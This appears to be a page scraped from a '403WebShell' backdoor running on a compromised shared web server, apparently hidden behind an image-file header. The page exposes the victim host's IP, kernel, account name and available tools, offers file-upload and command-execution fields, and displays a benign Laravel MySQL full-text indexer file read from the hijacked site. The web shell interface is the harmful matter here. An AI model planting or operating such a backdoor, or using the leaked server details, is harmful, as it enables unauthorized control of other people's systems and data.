����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.188.54.133
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Search/Drivers/Mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Search/Drivers/Mysql/MysqlFullTextIndexer.php
<?php

namespace Common\Search\Drivers\Mysql;

use Illuminate\Support\Facades\DB;

class MysqlFullTextIndexer
{
    /**
     * @var string
     */
    private $tableName;

    /**
     * @var string
     */
    private $indexName;

    /**
     * @var array
     */
    private $searchableFields;

    /**
     * @var bool
     */
    private $indexAlreadyExists;

    public function createOrUpdateIndex(string $model)
    {
        /**
         * @var Searchable $model
         */
        $model = new $model;
        $this->tableName = config('database.connections.mysql.prefix') . $model->getTable();
        $this->indexName = $model->searchableAs();

        $this->searchableFields = $model->getSearchableKeys(true);

        $this->indexAlreadyExists = $this->indexExists();

        if ( ! $this->indexAlreadyExists || $this->indexNeedsUpdate()) {
            $this->dropIndex();
            $fields = implode(',', $this->searchableFields);
            DB::statement("CREATE FULLTEXT INDEX $this->indexName ON $this->tableName ($fields)");
        }
    }

    private function indexExists(): bool
    {
        return !empty(DB::select("SHOW INDEX FROM $this->tableName WHERE Key_name = ?", [$this->indexName]));
    }

    private function indexNeedsUpdate(): bool
    {
        $currentIndexFields = $this->searchableFields;
        $expectedIndexFields = $this->getIndexFields();

        return $currentIndexFields != $expectedIndexFields;
    }

    private function getIndexFields(): array
    {
        $index = DB::select("SHOW INDEX FROM $this->tableName WHERE Key_name = ?", [$this->indexName]);

        $indexFields = [];

        foreach ($index as $idx) {
            $indexFields[] = $idx->Column_name;
        }

        return $indexFields;
    }

    private function dropIndex()
    {
       if ($this->indexAlreadyExists) {
           DB::statement("ALTER TABLE $this->tableName DROP INDEX $this->indexName");
       }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit